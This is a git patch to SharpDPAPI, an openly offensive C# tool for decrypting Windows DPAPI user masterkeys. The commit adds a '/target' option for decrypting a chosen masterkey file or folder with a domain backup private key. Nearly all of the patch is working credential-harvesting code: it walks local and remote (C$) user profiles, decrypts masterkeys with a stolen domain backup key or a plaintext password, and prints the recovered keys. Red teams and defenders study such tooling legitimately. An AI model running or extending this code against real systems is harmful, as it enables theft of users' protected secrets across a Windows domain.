From cfed81d01f40eb581aaa8649bf3f937014869ea5 Mon Sep 17 00:00:00 2001 From: harmj0y Date: Thu, 5 Nov 2020 09:21:40 -0800 Subject: [PATCH] Added /target support for 'masterkeys' -Added ability to manually decrypt a target masterkey file/folder --- SharpDPAPI/Commands/Masterkeys.cs | 25 ++-- SharpDPAPI/Domain/Info.cs | 10 +- SharpDPAPI/Domain/Version.cs | 2 +- SharpDPAPI/lib/Dpapi.cs | 2 +- SharpDPAPI/lib/Helpers.cs | 5 + SharpDPAPI/lib/Triage.cs | 207 +++++++++++++++++++----------- 6 files changed, 162 insertions(+), 89 deletions(-) diff --git a/SharpDPAPI/Commands/Masterkeys.cs b/SharpDPAPI/Commands/Masterkeys.cs index 8699b66..d8f2562 100755 --- a/SharpDPAPI/Commands/Masterkeys.cs +++ b/SharpDPAPI/Commands/Masterkeys.cs @@ -32,6 +32,11 @@ namespace SharpDPAPI.Commands Console.WriteLine("[*] Triaging remote server: {0}\r\n", arguments["/server"]); mappings = Triage.TriageUserMasterKeys(backupKeyBytes, true, arguments["/server"]); } + else if (arguments.ContainsKey("/target")) + { + Console.WriteLine("[*] Triaging masterkey target: {0}\r\n", arguments["/target"]); + mappings = Triage.TriageUserMasterKeys(backupKeyBytes, true, "", "", arguments["/target"]); + } else { Console.WriteLine(); @@ -57,17 +62,19 @@ namespace SharpDPAPI.Commands return; } - - if (mappings.Count == 0) + if (!arguments.ContainsKey("/password")) { - Console.WriteLine("\r\n[!] No master keys decrypted!\r\n"); - } - else - { - Console.WriteLine("\r\n[*] User master key cache:\r\n"); - foreach (KeyValuePair kvp in mappings) + if (mappings.Count == 0) { - Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); + Console.WriteLine("\r\n[!] No master keys decrypted!\r\n"); + } + else + { + Console.WriteLine("\r\n[*] User master key cache:\r\n"); + foreach (KeyValuePair kvp in mappings) + { + Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); + } } } } diff --git a/SharpDPAPI/Domain/Info.cs b/SharpDPAPI/Domain/Info.cs index 178fbad..e2cd4f0 100755 --- a/SharpDPAPI/Domain/Info.cs +++ b/SharpDPAPI/Domain/Info.cs @@ -41,9 +41,13 @@ Machine/SYSTEM Triage: User Triage: - Triage all reachable user masterkey files, use a domain backup key to decrypt all that are found: + Arguments for the 'masterkeys' command: - SharpDPAPI masterkeys + /target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) + /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys + /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /password:X - first decrypt the current user's masterkeys using a plaintext password (works remotely) + /server:SERVER - triage a remote server, assuming admin access Arguments for the certificates|credentials|vaults|rdg|triage|blob|ps commands: @@ -59,7 +63,7 @@ User Triage: Targeting: /target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder /server:SERVER - triage a remote server, assuming admin access - Note: must use with /pvk:KEY + Note: must use with /pvk:KEY or /password:X Note: not applicable to 'blob' or 'ps' commands diff --git a/SharpDPAPI/Domain/Version.cs b/SharpDPAPI/Domain/Version.cs index 6f0b6f1..92b46a0 100755 --- a/SharpDPAPI/Domain/Version.cs +++ b/SharpDPAPI/Domain/Version.cs @@ -4,6 +4,6 @@ namespace SharpDPAPI { public static class Version { - public static string version = "1.9.0"; + public static string version = "1.9.1"; } } diff --git a/SharpDPAPI/lib/Dpapi.cs b/SharpDPAPI/lib/Dpapi.cs index bd46c40..e09502c 100755 --- a/SharpDPAPI/lib/Dpapi.cs +++ b/SharpDPAPI/lib/Dpapi.cs @@ -232,6 +232,7 @@ namespace SharpDPAPI { var plaintextBytes = DescribeDPAPICertBlob(certificateBytes, MasterKeys); var keypairTuple = new Tuple("", ""); + if (plaintextBytes.Length > 0) { var decryptedRSATuple = ParseDecCertBlob(plaintextBytes); @@ -270,7 +271,6 @@ namespace SharpDPAPI int BufferSize = 64; int Index = 0; var sb = new StringBuilder(); - sb.AppendLine("-----BEGIN CERTIFICATE-----"); for (var i = 0; i < b64cert.Length; i += 64) { diff --git a/SharpDPAPI/lib/Helpers.cs b/SharpDPAPI/lib/Helpers.cs index db76206..3370592 100755 --- a/SharpDPAPI/lib/Helpers.cs +++ b/SharpDPAPI/lib/Helpers.cs @@ -588,5 +588,10 @@ namespace SharpDPAPI || candidate.Length == 0 || candidate.Length > array.Length; } + + public static bool IsGuid(string value) + { + return Regex.IsMatch(value, @"^(\{{0,1}([0-9a-fA-F]){8}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){12}\}{0,1})$"); + } } } \ No newline at end of file diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs index c006fd0..ec30709 100755 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -10,98 +10,160 @@ namespace SharpDPAPI { public class Triage { - public static Dictionary TriageUserMasterKeys(byte[] backupKeyBytes, bool show = false, string computerName = "", string password = "") + public static Dictionary TriageUserMasterKeys(byte[] backupKeyBytes, bool show = false, string computerName = "", string password = "", string target = "") { // triage all *user* masterkeys we can find, decrypting if the backupkey is supplied var mappings = new Dictionary(); var canAccess = false; - if (!String.IsNullOrEmpty(computerName)) + if (!String.IsNullOrEmpty(target)) { - canAccess = Helpers.TestRemote(computerName); - if (!canAccess) + // if we're targeting specific masterkey files + + if (backupKeyBytes.Length == 0) { - return new Dictionary(); + // currently only backupkey is supported + Console.WriteLine("[X] The masterkey '/target:X' option currently requires '/pvk:BASE64...'"); + return mappings; } - } - string[] userDirs; - - if (Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && canAccess)) - { - // if elevated, triage ALL reachable masterkeys - - var userFolder = !String.IsNullOrEmpty(computerName) ? - $"\\\\{computerName}\\C$\\Users\\" : - $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; - - userDirs = Directory.GetDirectories(userFolder); - } - else - { - // otherwise we're only triaging the current user's path - userDirs = new string[] { Environment.GetEnvironmentVariable("USERPROFILE") }; - } - - foreach (var dir in userDirs) - { - if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) - continue; - - var userDPAPIBasePath = $"{dir}\\AppData\\Roaming\\Microsoft\\Protect\\"; - if (!Directory.Exists(userDPAPIBasePath)) - continue; - - var directories = Directory.GetDirectories(userDPAPIBasePath); - foreach (var directory in directories) + if (!File.Exists(target) && !Directory.Exists(target)) { - var files = Directory.GetFiles(directory); - var isDomain = false; - byte[] hmacBytes = null; + Console.WriteLine($"[X] The target '{target}' doesn't exist!"); + return mappings; + } + + KeyValuePair plaintextMasterKey; + + if ((File.GetAttributes(target) & FileAttributes.Directory) == FileAttributes.Directory) + { + // if we're triaging a folder of masterkeys + var files = Directory.GetFiles(target); foreach (var file in files) { - // if the BK- file exists, assume this is a domain user. - if (Regex.IsMatch(file, @".*\\BK-[0-9A-Za-z]+")) - { - isDomain = true; // means use the NTLM of the user password instead of the SHA1 - } - } - - if (!String.IsNullOrEmpty(password)) - { - hmacBytes = Dpapi.CalculateKeys(password, directory, isDomain); - } - - foreach (var file in files) - { - if (!Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) - continue; - - if (show) - { - Console.WriteLine("[*] Found MasterKey : {0}", file); - } - - var masterKeyBytes = File.ReadAllBytes(file); try { - KeyValuePair plaintextMasterKey; - if (!String.IsNullOrEmpty(password)) - { - plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); - } - else + FileInfo f = new FileInfo(file); + + if (Helpers.IsGuid(f.Name)) { + var masterKeyBytes = File.ReadAllBytes(file); plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); + mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); } - - mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); } catch (Exception e) { - Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); + Console.WriteLine("[X] Error triaging masterkey target '{0}' : {1}", target, e.Message); + } + } + } + else + { + // otherwise we're triaging one file + try + { + var masterKeyBytes = File.ReadAllBytes(target); + plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); + mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); + } + catch (Exception e) + { + Console.WriteLine("[X] Error triaging masterkey target '{0}' : {1}", target, e.Message); + } + } + } + + else + { + if (!String.IsNullOrEmpty(computerName)) + { + canAccess = Helpers.TestRemote(computerName); + if (!canAccess) + { + return new Dictionary(); + } + } + + string[] userDirs; + + if (Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && canAccess)) + { + // if elevated, triage ALL reachable masterkeys + + var userFolder = !String.IsNullOrEmpty(computerName) ? + $"\\\\{computerName}\\C$\\Users\\" : + $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; + + userDirs = Directory.GetDirectories(userFolder); + } + else + { + // otherwise we're only triaging the current user's path + userDirs = new string[] { Environment.GetEnvironmentVariable("USERPROFILE") }; + } + + foreach (var dir in userDirs) + { + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) + continue; + + var userDPAPIBasePath = $"{dir}\\AppData\\Roaming\\Microsoft\\Protect\\"; + if (!Directory.Exists(userDPAPIBasePath)) + continue; + + var directories = Directory.GetDirectories(userDPAPIBasePath); + foreach (var directory in directories) + { + var files = Directory.GetFiles(directory); + var isDomain = false; + byte[] hmacBytes = null; + + foreach (var file in files) + { + // if the BK- file exists, assume this is a domain user. + if (Regex.IsMatch(file, @".*\\BK-[0-9A-Za-z]+")) + { + isDomain = true; // means use the NTLM of the user password instead of the SHA1 + } + } + + if (!String.IsNullOrEmpty(password)) + { + hmacBytes = Dpapi.CalculateKeys(password, directory, isDomain); + } + + foreach (var file in files) + { + if (!Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) + continue; + + if (show) + { + Console.WriteLine("[*] Found MasterKey : {0}", file); + } + + var masterKeyBytes = File.ReadAllBytes(file); + try + { + KeyValuePair plaintextMasterKey; + if (!String.IsNullOrEmpty(password)) + { + plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); + } + else + { + plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); + } + + mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); + } + catch (Exception e) + { + Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); + } } } } @@ -532,11 +594,6 @@ namespace SharpDPAPI Console.WriteLine("[X] Error triaging {0} : {1}", fileName, e.Message); } Console.WriteLine(); - foreach (var key in certDictionary.Keys) - { - Console.WriteLine("{0}", certDictionary[key]); - Console.WriteLine(); - } } catch (Exception e) {